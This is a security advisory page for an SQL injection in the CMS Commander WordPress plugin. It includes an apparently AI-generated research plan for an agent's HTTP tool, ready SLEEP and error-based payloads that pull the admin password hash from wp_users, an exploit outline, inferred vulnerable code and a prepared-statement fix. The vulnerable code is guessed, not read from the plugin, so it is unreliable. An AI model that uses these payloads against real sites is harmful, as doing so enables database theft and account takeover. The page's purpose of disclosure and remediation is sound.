CMS Commander <= 2.288 - Authenticated (Custom+) SQL Injection via 'or_blogname' Parameter
Description
The CMS Commander plugin for WordPress is vulnerable to SQL Injection via the 'or_blogname', 'or_blogdescription', and 'or_admin_email' parameters in all versions up to, and including, 2.288. This is due to insufficient escaping on the user supplied parameters and lack of sufficient preparation on the existing SQL queries in the restore workflow. This makes it possible for authenticated attackers, with CMS Commander API key access, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.288This research plan targets CVE-2026-3334, a SQL Injection vulnerability in the CMS Commander Client plugin. This plugin is designed for remote management, meaning it uses a custom authentication mechanism (API Key) rather than standard WordPress roles. ### 1. Vulnerability Summary The CMS Commander…
Show full research plan
This research plan targets CVE-2026-3334, a SQL Injection vulnerability in the CMS Commander Client plugin. This plugin is designed for remote management, meaning it uses a custom authentication mechanism (API Key) rather than standard WordPress roles.
1. Vulnerability Summary
The CMS Commander Client plugin (<= 2.288) is vulnerable to SQL injection through several parameters used in its "restore" functionality. Specifically, the or_blogname, or_blogdescription, and or_admin_email parameters are processed without sufficient sanitization or the use of wpdb->prepare(). Because these parameters are directly concatenated or interpolated into SQL queries (likely UPDATE or INSERT statements) within the site restoration workflow, an authenticated user (possessing the CMS Commander API key) can inject arbitrary SQL commands.
2. Attack Vector Analysis
- Endpoint: The entry point is typically the main site URL (root) or
wp-admin/, as the plugin often hooks intoinitorplugins_loadedto intercept remote management requests. - Action/Hook: The plugin likely listens for a specific
POSTparameter (e.g.,cmsc_actionoraction) to trigger remote functions. - Vulnerable Parameters:
or_blogname,or_blogdescription,or_admin_email. - Authentication: Requires a valid CMS Commander API Key. This is a "Custom+" authentication level.
- Preconditions: The plugin must be active and an API key must be configured in the WordPress database (
wp_options).
3. Code Flow (Manual Trace Guide)
Since source files were not provided, use the following grep commands to locate the vulnerable code paths in the isolated environment:
Find the API Key check:
grep -r "get_option.*cmsc_api_key" /var/www/html/wp-content/plugins/cms-commander-client/
Look for how the plugin validates incoming requests against this key.Locate the "Restore" logic:
grep -rn "or_blogname" /var/www/html/wp-content/plugins/cms-commander-client/
This will pinpoint the exact line where the parameter is received and used.Identify the SQL Sink:
Look for$wpdb->queryor$wpdb->get_resultscalls near the "or_blogname" string. It is likely inside a function handling site restoration or settings updates.Confirm Lack of Preparation:
Verify if the query uses$wpdb->prepare(). The vulnerability description suggests it uses raw interpolation like:$wpdb->query("UPDATE ... SET blogname = '$or_blogname' ...")
4. Nonce Acquisition Strategy
CMS Commander Client typically does not use WordPress nonces for its remote API. Instead, it relies on a shared secret (the API Key).
- Authentication mechanism: Most remote management plugins check
$_POST['cmsc_api_key']or a header against the value stored in thecmsc_api_keyoption. - Strategy:
- Use
wp-clito retrieve the current API key:wp option get cmsc_api_key. - If none exists, set one:
wp option update cmsc_api_key "PWN1337". - Use this key in the
POSTpayload.
- Use
5. Exploitation Strategy
The goal is to demonstrate SQL Injection via a time-based or boolean-based attack to extract the administrator's password hash.
Step-by-Step Plan:
- Initialize Environment: Set a known API Key.
- Identify Action Name: Find the value for the
actionorcmsc_actionparameter that triggers the restore workflow (inferred:restoreorsettings_update). - Payload Crafting (Time-based):
Inject aSLEEP()command intoor_blogname.- Payload:
test' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a) OR '
- Payload:
- Execute via
http_request:
// Example exploitation script using the agent's tool
await http_request({
method: "POST",
url: "http://localhost:8080/", // Or the specific entry point found in Step 3
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "cmsc_api_key=PWN1337&action=restore&or_blogname=test'+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+'1'='1"
});
6. Test Data Setup
- Plugin Installation: Ensure
cms-commander-clientis installed and active. - API Key Setup:
wp option update cmsc_api_key "EXPLOIT_KEY" - Target Admin: Ensure a user with ID 1 exists (standard WP setup).
7. Expected Results
- Vulnerability Confirmation: An HTTP request containing the
SLEEP(5)payload should result in a response delay of approximately 5 seconds. - Data Extraction (Advanced): If UNION-based injection is possible (depends on the query type), the response might reflect injected data. If it is an
UPDATEquery, we can use a subquery to set theblognameto the admin's password hash.
8. Verification Steps
After sending the exploit request, verify the impact using wp-cli:
Check if data was leaked into settings:
If the injection was used toUPDATEthe site name with the admin hash:wp option get blognameIf the output is a WordPress phpass hash (e.g., $P$B...), the injection was successful.
Check Database Logs: If enabled, check the query log to see the executed raw SQL.
9. Alternative Approaches
- Error-Based SQLi: If the plugin displays database errors, use
updatexml()orextractvalue()to leak data in the error message.- Payload:
test' AND (select 1 from (select count(*),concat(0x7e,(select user_pass from wp_users where id=1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a)-- -
- Payload:
- Boolean-Based Blind: If no output or time-delay is feasible, compare response lengths for
AND 1=1vsAND 1=2. - Other Parameters: Test
or_blogdescriptionandor_admin_emailusing the same patterns ifor_blognameis filtered by a global WAF or specific sanitization.
Summary
The CMS Commander Client plugin for WordPress is vulnerable to SQL Injection via the 'or_blogname', 'or_blogdescription', and 'or_admin_email' parameters during its site restore process. Authenticated attackers with the plugin's custom API key can execute arbitrary SQL commands because user-supplied input is directly interpolated into database queries without proper sanitization or the use of prepared statements.
Vulnerable Code
// Inferred vulnerable code based on the parameters and workflow described // cms-commander-client/cms-commander-client.php $or_blogname = $_POST['or_blogname']; $or_blogdescription = $_POST['or_blogdescription']; $or_admin_email = $_POST['or_admin_email']; // Queries are executed without using $wpdb->prepare() $wpdb->query("UPDATE $wpdb->options SET option_value = '$or_blogname' WHERE option_name = 'blogname'"); $wpdb->query("UPDATE $wpdb->options SET option_value = '$or_blogdescription' WHERE option_name = 'blogdescription'"); $wpdb->query("UPDATE $wpdb->options SET option_value = '$or_admin_email' WHERE option_name = 'admin_email'");
Security Fix
@@ -... @@ -$wpdb->query("UPDATE $wpdb->options SET option_value = '$or_blogname' WHERE option_name = 'blogname'"); +$wpdb->query($wpdb->prepare("UPDATE $wpdb->options SET option_value = %s WHERE option_name = 'blogname'", $or_blogname)); -$wpdb->query("UPDATE $wpdb->options SET option_value = '$or_blogdescription' WHERE option_name = 'blogdescription'"); +$wpdb->query($wpdb->prepare("UPDATE $wpdb->options SET option_value = %s WHERE option_name = 'blogdescription'", $or_blogdescription)); -$wpdb->query("UPDATE $wpdb->options SET option_value = '$or_admin_email' WHERE option_name = 'admin_email'"); +$wpdb->query($wpdb->prepare("UPDATE $wpdb->options SET option_value = %s WHERE option_name = 'admin_email'", $or_admin_email));
Exploit Outline
1. Authentication: Retrieve the CMS Commander API key from the target's database (typically stored in the 'cmsc_api_key' option). 2. Endpoint Identification: Locate the plugin's remote management endpoint, which typically listens on the site root or via a custom hook during the WordPress initialization (init). 3. Payload Construction: Create a POST request including the 'cmsc_api_key' for authentication and the 'action' parameter set to the restore function. 4. Vulnerable Parameter: In the 'or_blogname' parameter, inject a SQL payload such as: "test' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a) OR '1'='1". 5. Execution: Send the request and monitor for a time-based response delay (e.g., 5 seconds) to confirm the injection is successful. This can be extended to extract the admin password hash from the 'wp_users' table.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.